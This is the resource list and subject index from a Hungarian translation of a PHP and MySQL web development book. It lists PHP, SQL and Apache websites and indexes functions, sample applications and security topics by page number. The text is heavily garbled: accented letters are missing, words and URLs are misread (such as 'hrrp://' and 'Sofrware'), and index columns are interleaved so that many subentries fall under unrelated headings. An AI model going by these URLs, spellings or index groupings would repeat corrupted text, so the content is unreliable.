Codango- http://www.codango.com/php/- PHP-s webes alkalmazsok, knyvtrak, kdok, hoszting, oktatanyagok stb.
rtkes forrsa.

MySQLlel s SQLlel foglalkoz forrsok


A MySQL oldal- http://www.mysql.com- A hivatalos MySQL weboldal. Kivl dokumentcit, tmogatst s hasznos
informcikat knl. MySQL-felhasznlknak ktelez, klnskppen a fejlesztknek szl rsze s a levelezlista archvuma.
SQL Course- hrrp://sqlcourse.com- Jl rthet utastsokat hasznl, kezd felhasznlknak sznt SQL-oktatanyagot
tartalmaz oldal. Online SQL rtelmez segtsgvel gyakorlatban is kiprblhatjuk a tanultakat. A halad vltozatot a hrrp://
.sqlcourse2.com oldalon rjk el.

www

SearchDatabase.com- http://searchdatabase.techtarget.com/- Ignyes portl rengeteg hasznos informcival az adatb


zisokrL Kivl oktatanyagokat, tancsokat, gyakran ismtelt krdseket s tanulmnyokat tartalmaz. Ne hagyjuk ki!

Forrsok az Apacherl
Apache Sofrware- http://www.apache.org- A kiindulpont, ha forrsokat vagy binris fjlokat kvnunk letlteni az Apache
web:Zerverhez. Az oldalon online dokumentcit tallunk.

Apache Week- http://www.apacheweek.com- Hetente megjelen online magazin, amely Apache szervert furratk vagy
Apache szolgltatsokat hasznlk szmra tartalmaz fontos informcikat.
Apache Today- hrrp://www.apachetoday.com- Naponta frissl hr- s informciforrs az Apache-rl. Csak regisztrlt
felhasznlk tehetnek fel krdseket.

Webes forrsok

635

Magyar nyelv webes forrsok


A teljessg ignye nlkl:
PHP
weblabor.hu (magyar nyelv webes fejleszti portl: php, mysql,javascript, ess...)
php.lap.hu (innen rdemes elindulni)
prog.hu (php,Java,JavaScript, C++, Pascal, Delphi....)
Apache s MySQL
linux.hu (rendszergazdknak)
hup.hu (rendszergazdknak)
fsf.hu (Magyartssal, a szabad szofrverek elterjesztsvel foglalkozik)

Webfejleszts
Philip and Alex's Guide to Web Publishing- http://philip.greenspun.com/panda/- Szrakoztat, knnyed hangvtel t
mutat a szaftverfejleszts webes fejlesztsekre alkalmazhat rszeihez. Egyike azon kevs knyveknek, amelyeknek a trsszer
zje egy k utya.

Trgymutat
Szimblumok

adatbazis_letrehozasa.php fjl (Warm Maii

$type paramter 579

adatbazis_letrehozasa.sql fjl 520

===(azonos mveletijel) 28

& (bitmvelerijel) 26
<<(bitmveletijel) 26
-- (cskkents mvelerijel) 24
==(egyenl mvelerijel) 28
==(egyenl sszehasonlt mvelerijel) 25
=(rtkad mvelerijel) 23
?:

(hromoperandus mvelerijel) 27

@ (hibakezel mveletijel) 27
& (hivatkozs mveletijel) 25
. (karakterlnc-sszefz mveletijel) 19
- (kivons mveleti jel) 23
! (logikai mveletijel) 26
&& (logikai mveletijel) 26
%(maradkkpzs mveletijel) 23
!==(nem azonos mveletijel) 28
!=(nem egyenl mveletijel) 28
++(nvels mveletijel) 24
+ (sszeads mveletijel) 23
!=(sszehasonlt mveletijel) 25
!==(sszehasonlt mveletijel) 25
<(sszehasonlt mveletijel) 25
<=(sszehasonlt mveletijel) 25
==(sszehasonlt mveletijel) 25
===(sszehasonlt mveletijel) 25
-= (sszetett rtkad mveletijel) 24
. =(sszetett rtkad mvelerijel) 24
l=(sszetett rtkad mveletijel) 24
%=(sszetett rtkad mveletijel) 24
+=(sszetett rtkad mveletijel) 24
l (oszts mveletijel) 23
+(uni mveletijel) 28
, (vessz mvelerijel) 27

A,
about.php fjl (Tahuayo alkalmazs) 571
abszolt elrsi tvonalak 41
absztrakt osztlyok 126
ACID-kompatibilis tranzakcik 210
Acrobat weboldal 543
adattvitel
adatbzis replikci 206
adatbazis_fuggvenyek.php fjl
MLM alkalmazs 480
PHPBookmark alkalmazs 393
Warm Maii alkalmazs 453
webes frum 519

alkalmazs) 453

rekordok
trlse 179
relcis adatbzisok 143

MLM alkalmazs 480

replikci 206

webes frum 519

smk 143

adatbzisok 141
adatok
beszrsa 165
betltse fjlokbl 209
visszakeresse 167
belltsa (online hrlevelek) 480
biztonsg 198
jelszavak 198
webes krdsek 199

SQL (Strucrured Query Language) 165


szerverek
biztonsg 259
kapcsolds -hez 260
tblk 141
rtkek 142
oszlopok 14 2
sorok 142
trlse 179

biztonsgi mentse 206

adatbzis-optimalizls 205

Book-O-Rama

adat_ellenorzo_fuggvenyek.php fjl

ltrehozsa 165
tblk SQL kdja 166
DDL (Data Definition Language) 165
DML (Data Manipulation Language)

165
elnyei 141
futsidej hibk 382
helyrelltsa 206
informcigyjts 199

MLM alkalmazs 480


PHPBookmark alkalmazs 393
Warm Maii alkalmazs 453
webes frum 519
adat_kikereses.php fjl 308
adatok
tpusai
vltozk 20
adott feltteleknek megfelel adatok
visszakeresse 168

jelszavak
titkostsa 198
jogosultsgi rendszer 193
columns_priv tbla 197
user tbla 194
kapcsolatok 143
egy a sokhoz tpus 143
egy az egyhez tpus 143
sok a sokhoz tpus 143
kulcsok
elsdleges kulcsok 142
idegen kulcsok 143
ltrehozsa MySQL-lel 151
MySQL 193
biztonsgi mentse 242
db tbla 195

beszrsa adatbzisokba 165


betltse fjlokbl 209
beviteli
ellenrzse 384
bizalmas adatok
hitelkrtyaadatok trolsa 283
trolsa 282
trolsa 39
tpusai
TEXT tpusok 162
titkostsa 282
visszakeresse
adatbzisokbl 167
adatvdelmi nyilatkozat
zleti weboldalak 225

eredmenyek.php kd 182

addslashes() fggvny 78, 184, 282

host tbla 196

Add to Cart hivatkozs 570

krs ellenrzse 197

admin_felhasznalo_ellenorzese() fggvny

user tbla 194


webes adatbzis architektrja 181
optimalizlsa 205

486
adminisztrtori funkcik 444
admin.php fjl (online kosr alkalmazs)

indexek hasznlata 205


jogosultsgok 205

422
Adobe

tblk 205

PostScript 541

tervezs 205

weboldal 543

638

Trgymutat

Advanced Maryland Autamated Nerwork


Disk Archiver (AMANDA) 242

REST /XML 585,591


Web Services 563
Web Services fellerek 567

ajnls
knyvjelzk 392
megvalstsa 416,418
ajanlas.php fjl (PHPBookmark alkalmazs)

XML rtelmezse 568


AmazonResultSet osztly 571

ltrehozsa 109
rvireli mdok
FTP 317
auclirls 241
auto_append_file (php.ini fjl) 95

a megnyitsi md 41

aurocommit md 210

a+ megnyitsi md 41

auroload()fggvny 127

Ajax 599

Analog weboldal 223

automatikus elllrs

ajaxSzerverIdo.html 606

anomlik

393

alairas.png fjl (oklevelek projekt) 544


alapszint hitelesrs (HTTP) 270

elkerlse (webes adatbzisok) 145

azonosrk 20

Apache

Apache .htaccess fjlokkal 272

erforrsok 634

PHP-ben 271

futtatsa 626

alkalmazsok
Bob autalkatrszek 12, 13, 135
Book-O-Rama alkalmazs

kpek 336
auro_prepend_file (php.ini fjl) 95

HTTP Szerver 258

eredmnyazonosrk 186
kpazonosrk rrlse 335
azonos mveleri jel 59

konfigurcik
PHP teleptsek 631

adarbzis keressi oldala 182

paramterek, MaxClients 185

sma 149

Sofrware weboldala 634

basename() fggvny 301, 303

teleptse

befoglal kererek

dokumentci 375
intelligens zenerkld rlap
ltrehozsa 73
kezdhet kd rsa 371

binris fjlok 622


forrs teleptse 622
Today weboldala 635

koorclinrk 340
tmb tartalma 340
beillesztett_fuggvenyek.php fjl

darabokra bonts 373

weboldala 622

ML M alkalmazs 480

elnevezsi szoksok 371

webszerver

Warm Maii alkalmazs 453

fggvnyknyvrrak 374

alapszint hitelests (HTTP) 271

knyvtrstruktrk 373

htpasswd program 274

megjegyzsek hasznlata 372

mod_aurh modul 273

FTP szerverek 316

programozsi szablyok 371

mod_aurh_mysql modul 275

MySQL 150

tagolsa 373
kd tesztelse 3 77

Week weboldala 634


Windows 629

kd tbbszri felhasznlsa 370

ramkimaradsok 243

megvalstsa 370

architektra

mkdsi logika 376

webes adarbzisok 147

webes frum 519


bejelentkezs

naplzsa 241
nvrelen bejelentkezs (FTP) 315
Warm Maii alkalmazs (e-mail kliens)

460
bejelentkezes_ellenorzese() fggvny 486

nemzetkziesrse 5

ARCHIVE tblk 210

bejelentkezes() fggvny 403,491

optimalizlsa 376

archvumok

bejelentkezes.php fjl

PHPBookmark

BUGTRAQ 297

fjlok 393

argumentumok 16, 17

prototpusok 375

array_count_values() fggvny 70

rtegek 148

array() nyelvi szerkezet 56

szaftverfejleszts 369

array_push() fggvny 496

tartalom 376

array_reverse() fggvny 66

tervezse 370

array_walk() fggvny 69

verzikvers 374

ar _szamolasa() fggvny 436

alkalmazsrtegbeli protokollok 280

ASC kulcssz 173

llandk (konstansok) 21

ASP sryle (PHP cmkk) 15

hibajelents 387
AL L jogosultsg 154
alralanos_felhasznalo_ellenorzese()
fggvny 486

Associate ID (Amazon partnerazonosr)

567
asszociatv tmbk. L sd mg tmbk 57
bejrsa ciklusokkal 58

online kosr alkalmazs 422


PHPBookmark alkalmazs 393
beszlgetsfonalak (frum)
sszecsuksa 524
beszrsi anomlik elkerlse
(webes adatbzisok) 145
berlts
adatok berltse fjlokbl 209
bvtmnyek 363
bettpusok
FreeType knyvtr letltse 332
gombszveg 336
kpek ltrehozsa 336
lefele nyl betszrak 340

ALTER jogosultsg 153

each() fggvny 58

PDF olvask 555

ALTER TABLE utasts 177

ltrehozsa 57

PostScript Type l bettpusok letltse

AMANDA (Advanced Maryland


Autamated Nerwork Disk
Archiver) 242
Amazon
Associate ID (partnerazonost) 567
bngszsi csompont 569
fejleszti token 567
fizers 597
gyorsttrazs 568
online kosr fejlesztse 567
PHP SOAP knyvtrak 568

list() fggvny 58
tartalmnak elrse 57
ralakrs
osztlyok karakterlncokk 129
tmbk skalris vltozkk 70
trendezs
tmbk 64

332
TrueType 336
beviteli adatok
ellenrzse 184, 384
szrse 184
binris fjlok teleptse 622
MySQL

622

shuffie() fggvny 65

bind_param() metdus 190

array _reverse() fggvny 66

bitmveleti jelek 26

attribrumok 109
fellirsa 114

bizalmas adatok
trolsa 282

Trgymutat

biztonsg 245
adatbzisok 198, 260

auditls 241

biztonsgos rranzakcik 278

biztonsgi hzirendek ltrehozsa 236

hitelests 237

hitelesrs 259

biztonsgos webszerverek 240

jelszavak 198

crackerek 227

kapcsolds szerverekhez 260

digitlis alrsok 239

opercis rendszer 198

digitlis tanstvnyok 240

szerverek 260

fenyegetsek 232

adatbzis keressi oldala 182

webes krdsek 199

fizikai biztonsg 242

ltrehozsa 165

hash fggvny 240

sma 149

bizalmas adarokhoz val hozzfrs


korltozsa 246
Data Encryption Standard (DES) 239

hitelests 237
jelszavak 237

knyvtrak 298
bookdisplayfunctions.php fjl (Tahuayo
alkalmazs) 571
Book-O-Rama alkalmazs

tblk SQL kdja 166


Boolean adattpus (vltozk) 20

Denial of Service tmads 247

naplzs 241

bottom.php fjl (Tahuayo alkalmazs) 571

DMZ 261

tanstvny-alrsi krelem (CSR) 241

bvtmnyek

fjlok

titkosts 238

betltse 363

tzfalak 242

break utasts 38

feltltsek 295, 298


fjlrendszer 254

biztonsgi fenyegetsek

brochureware honlapok 221

felhasznli bevitel szrse 249

crackerek 248

felkszls DoS tmadsokra 262

elgededen alkalmazottak 248

gyenge minsg megjelens 222

felgyelet 246

fertztt gpek 248

informci hinya 222

fizikai biztonsg 263

hardvertolvajok 248

ltogatottsg mrse 223

GPG (Gnu Privacy Guard) 283

zleti weboldalak 232

megkeressek megvlaszolsa 222

hatsa a hasznlhatsgra 245

adatmdosts 234

hitelesrs 232

adarveszts 233

egyni hitelests ltrehozsa 276

bizalmas adatok kitettsge 232

felhasznJk azonostsa 265

DDoS (Distributed Denial of Service)

hozzfrs-szablyozs megvalsrsa

266

tmads 234
DoS (Denial of Service) rmads 234

hibi

tartalom frisstse 223


jellemz hinyossgaik 223
BUGTRAQ archvumok 297

C,Cs

jelszavak 237

letagads 235

cached() fggvny 593

jelszavak trolsa 267

szaftverhibk 235

cache() fggvny 593

jelszavak titkostsa 269

biztonsgi ments 242

Cascading Sryle Sheets (CSS) 376

kivonatos hitelests 271

adatbzisok 206

CA (tanst szervezet) 240

mod_auth_mysql modul 275

AMANDA (Advanced Maryland

category List tmb 577

tbb oldal vdelme 270

Autamated Network Disk

CGI rtelmez 621

weboldalak 276

ArchiverJ 242

checkdate() fggvny 251

jelszavak 245

FTP fggvnyek 313

Checkout hivatkozs 570

katasztrfa-elhrrsi terv 263

bejelentkezsek 316

chgrp() fggvny 304

kimenet rtkeinek szrse

frissts idpontjnak ellenrzse 316

chmod() fggvny 304

vdkarakterekkel 252
kdjaink szervezse 253
PGP (Pretty Good Privacy) 283
.php fjlokhoz val hozzfrs korltozsa

254
rosszindulat kd befecskendezse 247

kapcsolatok bontsa 318

chown() fggvny 304

letltsek 317

ciklusok 35

tvoli kapcsolatok 315


MySQL adatbzisok 242

break utasts 38
do...while ciklusok 37

biztonsgos trols 282

for ciklusok 37

biztonsgos tranzakcik 277

foreach ciklusok 37

Secure Sockets Layer (SSL) 233

biztonsgos trols 282

iterci 127

SQL injecrion tmadsok 252

felhasznli bevitel szrse 282

numerikusan indexelt tmbk elrse 57

tansr szervezetek (CA) 240

felhasznJk szmtgpei 278

asszociatv tmbk 58

trhelyszolgltats 258

Internet 278

TCP/IP hlzatok 233

rendszerek 279

tesztels hibk utn kutarva 255

Secure Sockets Layer (SSL) 280

while ciklusok 36
cmkk (rag)
PHP cmkk (tag) 14

titkosts 283

adatok kldse 281

ASP stlus 15

ttanzakcik 277

kzfogs (handshaking) 280

rvid stlus 14

biztonsgos trols 282

protokollvermek 280

SCRIPT stlus 14

felhasznli bevitel szrse 282

tmrts 281

felhasznJk szmtgpei 278

webes bngszk 278

Internet 278

biztonsgos webszerverek 240

rendszerek 279

blokkok 32

Secure Sockets Layer (SSL) 280


webes bngszk 278
tzfalak 261
zleti weboldalak 231

try (kivtelkezels) 131

XML stlus 14
require() utasts 91
zr/nyit (XML) 565
cm szerinti paramtertads 102
closedir() fggvny 299

b megnyirsi md 41

Codewalkers weboldal

Bob autalkatrszek alkalmazs 12, 13

columns_priv tbla 194, 196

kivtelkezels 135

adatok biztonsgi mentse 242

bngszsi csompont (Amazon) 569

a trolt informci fonrossga 231

bngszk

634

Concurrent Versions System (CVS) 374


constants.php fjl
Tahuayo alkalmazs 571

639

640

Trgymutat

continue kezelk 215

DESC kulcssz 173

rs 40

continue utastsok 38

DESCRIBE parancs 159

megnyitsa 40

crackerek 227, 248

describe user; utasts 194

CREATE jogosultsg 153

DESCRIBE utasts 201

crypt() fggvny 269

DES (Data Encryption Standard) 239

egyszer szveg (titkosts) 238

destruktorok 110

e-kereskedelmi weboldalak 219, 221

mkdse PHP 5.3-ban 5

fopen() fggvny 41
megnyitsi mdok 40

csak_tagoknak.php kd (hitelests) 358

Details hivatkozs 570

adatvdelmi nyilatkozat 225

csatolt llomnyok (e-mail) 478

Devshed weboldal

biztonsg 231

csillag_rajzolasa() fggvny 562

diagram

cskkents mveleti jelek 24


csompontok

633

adatok biztonsgi mentse 242

egyed-kapcsolat 143

a ttolt informci fontossga 231

die() nyelvi szerkezet 361

auditls 241

bngszsi csompont (Amazon) 569

digitlis alrsok 239

biztonsgi hzirendek ltrehozsa 236

webes frum fastruktrja 518

digitlis tansitvnyok 240

biztonsgos webszerverek 240

digitlis termkek rtkestse (zleti

digitlis alrsok 239

gyermek csompontok 518


gykr csompontok 518
levl csompontok 518
szl csompontok 518
csomopont osztly 518
csomopont_osztaly.php fjl (webes frum)
519
csoportosthatsg
mveleti jelek 29
CSR (Certificate Signing Request) 241

weboldalak) 226
dinamikus tartalom 16
date() fggvny 16

fizikai biztonsg 242

fggvnyek 16

hash fggvny 240

direktvk

hitelests 237

furtatsi 38

jelszavak 237

magic_quotes_gpc 282

naplzs 241

magic_quotes_runtime 282

tanst szervezetek (CA) 240

php.ini fjl szerkesztse 364

tanstvny-alrsi krelem (CSR) 241

CSS (Cascading Style Sheets) 376

dirname() fggvny 301, 303

CSS (Cascading Style Sheets)

disk_free_space($path) fggvny 301

osztlyok 601

digitlis tanstvnyok 240


fenyegetsek 232

titkosts 238
tzfalak 242

Distributed Denial of Service (DDoS) 234

hitelests 232

csv tblk 210

DML (Data Manipulatien Language) 165

kockzatai 227

CVS ( Concurrent Versions System) 374

DMZ (demilitarizlt zna) 248

crackerek 227

dokumentci

hardverhiba 228

D
Data Definition Language (DDL) 165
Data Encryption Standard (DES) 239

GD weboldala 348

jogi szablyozs s adrendszer 229

webes alkalmazsok projektjei 375

kvnt zleti eredmny elmaradsa 228

dokumenrumok

Data Manipulaeion Language (DML) 165


DATE_FORMAT() fggvny 326

rendszer-kapacitsbeli korltok 229

PDF

szoftverhibk 228

oklevelek projekt 550


RTF 548

date() fggvny 16, 321

szolgltari hibk 228


verseny 228

okl.evelek projekt 544

kltsgcskkenrs 227
online katalgnsok 221

formrumkdok 321

tovbbfejlesztsi lehetsgek 562

date_sub() fggvny 328

DoS (Denial of Service) tmads 234, 247

drum s id

double adartpus (vltozk) 20

SSL (Secure Sockets Layer) 225

MySQL-ben

jellemz hinyossgaik 223

do...while ciklusok 37

stratgik kvlasztsa 229

DATE_FORMAT() fggvny 326

DROP DATABASE utasts 179

szolgltatsok s digitlis termkek

szmolsok 328

DROP jogosultsg 153

naptrak 329

DTD (Document Type Definition) 565

PHP-ben 321

dzskerkarakter

(%)

197

date() fggvny 321


floor() fggvny 327
mikroszekundumok 329
db tbla 194

rtkestse 226
termkek vagy szolgltatsok
megrendelse 223
tpusai 221

E,

tbbletrtk hozzadsa termkekhez


vagy szolgltatsokhoz 226

each() fggvny 58

visszatrtsi szablyzat 225

DDL (Data Delinition Language) 165

egyed-kapcsolat diagram 143

elgedetlen alkalmazottak 248

DDoS (Distributed Denial of Service) 234,

egyni hitelests ltrehozsa 276

elemek 56

247
declare kezelk 215
declare vezrlsi szerkezet 38

egyenl mveleti jel 25, 59


egyenlsgjel (

rtkad mveleti jel 18

decoct() fggvny 303

egyensszekapcsolsok 170, 172

deklarls

egyests

fggvnyek 98

karakterlncok

trolt eljrsok 212

implode() fggvny 79

trolt fggvnyek 213

join() fggvny 79

DELETE jogosultsg 153

egyoperandus mveleti jelek 23

demilitarizlt zna (DMZ) 248

egyszeru_abra.php fjl 333

konfigurlsa 261
Denial of Service (DoS) tmads 234, 247

egyszer fjlok 39
beolvassa 40

gykrelemek (XML) 566


elrs
rszsztringek elrse substrO fggvnnyel
80
elrsi tvonalak
abszolt 41
fjlok 301
relatv 41
elfelejtett_jelszo.php fjl (PHPBookmark
alkalmazs) 393
elfelejtett_urlap.php fjl (PHPBookmark
alkalmazs) 393

Trgymutat

megnyitsi mdok 40

rtkels

ellenrzs

MLM 480

karakterlncok 361

kapcsolatok 197
vltozllapot 31
elnevezs
fggvnyek 98

ertekeles.php fjl (oklevelek projekt) 544

naplzsa 241

rtk szerinti paramtertads 102

olvassa/rsa 382

rtkvisszaads

online kosr alkalmazs 422

rtkad mveleti jel 24

szoksok 371
elfordtott utastsok 189

ervenyes_felhasznalo_ellenorzes() fggvny

403

elzetes cskkents mveleti jel 24

perszanalizlt dokumentumok 544


PHPBookmark alkalmazs 393
php.ini fjl

elzetes nvels mveleti jel 24

escapeshellcmd() fggvny 282,256,306

auto_append_file 95

else utastsok 32
elseif utastsok 33

S mveleti jel 26
eval() fggvny 361

drektvk szerkesztse 364

lsimts

Evil Walrus weboldal

auto_prepend_file 95

634

Exception osztly 132

szveg 334
elsbbsgi sorrend
mveleti jelek 29
elsdleges kulcsok (adatbzisok) 142
elvont osztlyok 126
e-mail
csatolt llomnyok 478

progex.php 305
Tahuayo alkalmazs 571

kiterjesztse 133

trlse 304

metdusok 132

tkrzse FTP fggvnyekkel 313


uj_konyvek.rxc 209

exit
kezelk 215

valtozok_kiiracasa.php 385

nyelvi szerkezecek 361

Warm Maii alkalmazs (e-mail kliens)

EXPLAIN utasts 201


sszekapcsols tpusai 203

kldse 307

oszloprtkek 204

olvassa 307

453
webes frum 519
fajlreszlecek.php fjl 302
fanezet_megjelenicese() fggvny 525

titkostsa 283

explode() fggvny 79, 312

titkostsa

extract_cipusa paramter 71

fastruhra (webes frum) 518

Extreme Programming weboldal 378

fclose() fggvny 299

fdf_set_file() fggvny 551

GPG (Gnu Privacy Guard) 283

fdf_creace() fggvny 551

PGP (Pretry Good Privacy) 283


Warm Maii alkalmazs
fjlok 453
fellet 452

fdf_set_value() fggvny 551

fjlkezels

IMAP fggvnyknyvtr 451


megoldsok 451
email_lekerese() fggvny 492
empry() fggvny 31

kivtelek 135
fjlnvkiterjesztsek
require() utasts 91
fjlok 39

entiry (HTML) 252

adat_kikereses.php 308

ENUM tpus 163

adatok

EPA weboldal 243


eredmnyazonosrk
lekrdezs eredmnynek visszakeresse
(webes adatbzisok) 186

betltse fjlokbl 209


llapotfggvnyek eredmnyei 305
thelyezse 304
beolvassa 40,302

Fedex weboldal 226


fehrkz karakterek 15
fejleszti token (Amazon) 567
fejlesztkrnyezetek 375
feldolgozas.php fjl (online kosr
alkalmazs) 422
felesleges alkalmazsok kikapcsolsa 262
felhasznl ltal deklarlt vltozk 20
felhasznl ltal meghatrozott kivtelek

133,135
felhasznl ltal meghatrozott rendezsek

eredmenyek_megjelenitese.php fjl 343,346

biztonsgi mentse 313

tbbdmenzis tmbk 63

eredmenyek.php kd 182

egyszeru_abra.php 333

felhasznli bevitel szrse 282


felhasznli felletek

ereg_replace() fggvny 88

elrsi tvonalak, knyvtrak 30 l

eregi_replace() fggvny 88

fjlkezels 135

erforrsok

lajlreszletek.php 302

adattpusok 20
rtkad mveleti jelek 20,23
cskkents mveleti jelek 24
egyenlsgjel (

) 18

zleti weboldalak 225


felhasznli fikok

fjltulajdonsgok megvltoztatsa 304

belltsa 462

feleltse 293

kivlasztsa 467

biztonsg 295,298
FTP (File Transfer Protocol) 318

crlse 464
felhasznaloi_hicelesices_fuggvenyek.php fjl

rtkek visszaadsa 24

hibakeress 298

MLM alkalmazs 480

hivatkozs mveleti jel 25

HTML 293

online kosr alkalmazs 423

nvels mveleti jelek 24

megjelenitse 297

PHPBookmark alkalmazs 393

sszetett rtkad mveleti jelek 24

online hrlevelek 478

Warm Maii alkalmazs 453

rtkek
alaprtelmezett
adatbzis-optimalizls 205

PHP kd rsa 295


gomb_cervezese.hcml 336
hcaccess fjlok (Apache webszerver) 272

hozzrendelse vltozkhoz 20

httpd.conf 626

oszlopok

rsa 40

EXPLAIN utasts 204

rsi jogosultsgok 282

tblk 142

konyvcar_tallozas.php 298

tmbelemek 56

ltrehozsa 304

visszaadsa

megnyitsa 40

rtkad mveleti jel 24

fopen() fggvny 41

max() fggvny 103

megnyirsi mdok 40

felhasznaloi_hicelesites_fuggvenyek.php
knyvcr
hicelesicett_felhasznalo_ellenorzese()
fggvny 461
felhasznli jogosultsgok
adatbzis biztonsga 198
felhasznaloi_menu_megjelenitese() fggvny

403
felhasznli nevek 392
felhasznlk
biztonsgos cranzakcik 278

641

642

Trgymutat

hitelests 265

filemtime() fggvny 303

hozzszlk 519

alapszint hitelests 270

fileowner() fggvny 302, 303

megoldsok 517

felhasznJk azonostsa 265

fileperms() fggvny 303

hozzfrs-szablyozs megvalstsa

filesize() fggvny 303

266

filetype() fggvny 303

frum alkalmazs
fastruktra 518
forum_fuggvenyek.php fjl (webes frum)
519

jelszavak trolsa 267

final kulcssz 115

jelszavak titkostsa 269

findstr.exe 256

FPDF fggvnyknyvtr 543

kivonatos hitelests 271

fiok_beallitas_megjelenitese() fggvny

FreeType knyvtr

464

mod_auth_mysql modul 275


tbb oldal vdelme 270
weboldalak 276
jogosultsgok 151

fiok_lista_lekerese() fggvny 466


fiokok_lekerese() fggvny 463
fiokok_szama() fggvny 466

letltse 332
frissts
anomlik elkerlse (webes adatbzisok)
145

globlis jogosultsgok 152

fiok_tarolasa() fggvny 489

FTP szerverek 316

GRANT parancs 151

fiok_torlese() fggvny 465

jogosultsgok 197

legkisebb jogosultsg elve 151

fiok_valaszro_megjelenitese() fggvny 466

opercis rendszerek 262

tipusai 152

fizets

rekordok 177

ltrehozsa MySQL-ben 151


MySQL
belltsa 151
rendszergazdai felhasznli jogosultsgok
153
feliratkozas() fggvny 499
felkszls DoS/DDoS tmadsokra 262
feloszts
karakterlncok

rendszerek 420
fizikai biztonsg 242, 263
float adattipus (vltozk) 20

szoftver 256
frisstsi anomlik elkerlse (webes
adatbzisok) 145

f megnyitsi md 41

ftp_connect() fggvny 315

fkuszcsoportos beszlgetsek 223

FTP (File Transfer Protocol) 313

folyamarbrk
online hrlevelek 478

fjlfeltlts 318
fjlok biztonsgi mentse 313

folytats jel (MySQL) 150

bejelentkezsek 316

fopen() fggvny 40, 299

frissts idpontjnak ellenrzse 316

explode() fggvny 79

for ciklusok 37

kapcsolatok bontsa 318

subsrr() fggvny 80

fordton idzjelek 305

letltsek 317

feltrelek

foreach ciklusok 37

adon feltteleknek megfelel adatok


visszakeresse 168
felrteles urasrsok 31
else urasrsok 32

formrumok
GIF (Graphics Interchange Formar) 332
JPEG (Joint Photographic Experts
Group) 332

elseif utastsok 33

kpek 332

if utasrsok 32

formrurnkdok

kdblokkok 32

dare() fggvny 321

tvoli kapcsolatok 315


fjlok tkrzse 313
bejelenckezsek 316
frissts idpontjnak ellenrzse 316
kapcsolatok bontsa 318
letltsek 317
tvoli kapcsolatok 315
FTP tviteli mdok 317
ftp_get() fggvny 318

kd tagolsa 32

PDF 542

sszehasonltsa 34

PNG (Portable Network Graphics) 332

ftp_mdtm() fggvny 316

switch utastsok 33

PostScript 541

ftp_nlst() fggvny 318

RTF 541

ftp_size() fggvny 318

WBMP (Wireless B itmap) 332

idtllpsek

felrlrs
fjlok 293
biztonsg 295, 298

megelzse 318

formzs

hibakeress 298

fehrkz katakterek levgsa 75

HTML 294

HTML formzs 75

HTML rlapok 293

karakterlncok 75

megjelentse 297

kis- s nagybets rsmd megvltoztatsa

PHP kd rsa 295

77

nvtelen bejelentkezs 315


set_time_limit() fggvny 318
ftp_get() fggvny 318
ftp_mdtm() fggvny 316
ftp_nlist() fggvny 318

konverzis specifikci 76

frp_size() fggvny 318

feltolres.php fjlok (MLM alkalmazs) 480

ltrim() fggvny 75

fggvnyek. Lsd mg parancsok 96, 104,

feltrt szerverek 248

megjelentse 76

felgyelet

megjelentshez 75

FTP (File Transfer Protocol) 318

biztonsg 246
fellerek
Warm Mail alkalmazs (e-mail kliens)
452
Web Services (Amazon) 567
fellrs 114
ferchRow() metdus 192

105
addslashes() 78, 184, 199, 282

nl2br() fggvny 75

admin_felhasznalo_ellenorzese() 486

rtrim() fggvny 75

alkalmazsa tmbelemekre 69

trolshoz 78

altalanos_felhasznalo_ellenorzese()) 486

trim() fggvny 75

array_count_values() 70

formazas() fggvny 497

array _reverse() 66

forrskd

array_walk() 69

sznkiemelse 364

fileatime() fggvny 303

forrs teleptse 622

file_exists() fggvny 50

frum 517

arsorr() 62
asort() 63
autoload() 127

filegroup() fggvny 302, 303

csomopont osztly 518

fileinfo kiterjeszts 5

fjlok 519

bejelentkezes_ellenorzese() 486

FILE jogosultsg 198

fastruktra 518

checkdate() 251

basename() 301, 303

Trgymutat

chgrp() 304

set_time_limit() 318

levelezo_fuggvenyek.php 463

chmod() 304

fggvnyvltozk 99

olvass -bl 298

chown() 304

futsidej hibk 381

PHPBookmark alkalmazs 393

closedir() 299

get_current_user() 363

copy() 304

getenv() 306

krsort() 63

cos() 562

get_extension_funcs() 363

ksort() 62

count() 70

gedastmod() 363

ltrehozsa 98

crypt() 269

ger_loaded_extensions() 363

lisr() 58

csillag_rajzolasa() 562

get_magic_quores_gpc() fggvny 184

lista_megjelenitese() 467

current() 69

gertype() 30

!star() 304

date() 16,303,321

hlzati keresfggvnyek 310

formrumkdok 321

explode() 312

trlse 301

ltrim() 75
maii() 74,308

decoct() 303

gethostbyaddr() 312

max() fggvny 103

deklarlsa 98

gethostbyname() 311

md5() 269

dirname() 301,303

germxrr() 311

meghvsa 16,96

disk_free_space{$path) 301

parse_url() 312

doubleval() 199

hatkr 101

kis- s nagybet megklnbztetse 97


nem ltez fggvnyek 97

each() 58,69

Header() 335,550

paramterek 96

elnevezs 98,372

highlighr_file() 364

prototpusok 96

empty() 31

hirelesitett_felhasznalo_ellenorzese() 461

end() 69

hivatkozsknt trtn paramtertads

rtkvisszaads 103

70

mysql_connect() 185
mysqli_connect() 382
mysqli_errno() 382

escapeshellcmd() 282,256,306

htmlentities() 252

mysqli_error() 382

eval() 361

html_fejlec_letrehozasa() 466

mysqli_fetch_assoc() 186

exec() 305

htmlspecialchars() 184,252,282

mysqli_query() 185, 382

explode() 68, 79

ImageColorAllocate() 334

mysql_selecr_db() 185

extract() 70

ImageCreate() 334

nem ltez fggvnyek hvsa 97

fjlok

ImageCreateFromGIF() 339,340

next() 69

llapotfggvnyek eredmnyek 305

ImageCreateFrom]PEG() 339, 340

nl2br() 75

thelyezse 304

ImageCreateFromPNG() 339,340

ODBC {Open Database Connectivity)

fjltulajdonsgok megvltoztatsa 304

ImageDestroy() 335

ltrehozsa 304

ImageFilledRectangle() 346

opendir() 299

olvassa 302

ImageGetTTFBBox() 340

paramterek 16,99

trtse 304

ImageJPEG() 335

190

cm szerinti paramtertads 102


rtk szerinti paramtertads 102

fclose() 299

ImageLine() 346

fdf_create() 551

ImagePNG() 339

pdf_add_oudine() 555

fdf_set_file() 551

ImageRectangle() 347

pdf_close() 556

fdf_set_value() 551

imagestring() 334

pdf_csere() 551

fileatime() 303

ImageTTFBBox() 340

pdf_show() 555

filegroup() 302,303

ImageTTFText() 340

pdf_show_xy() 561

filemtime() 303

imap_body() 471

pdf_stringwidth() 561

fileowner() 302,303

imap_delete() 473

phpinfo() 544,306

fileperms() 303

imap_expunge() 473

PHP krnyezeti vltozk 306

filesize() 303

imap_fetchheader() 471

posix_getgrgid() 303

filetype() 303

IMAP fggvnyknyvtr 451

posix_getpwuid() 302,303

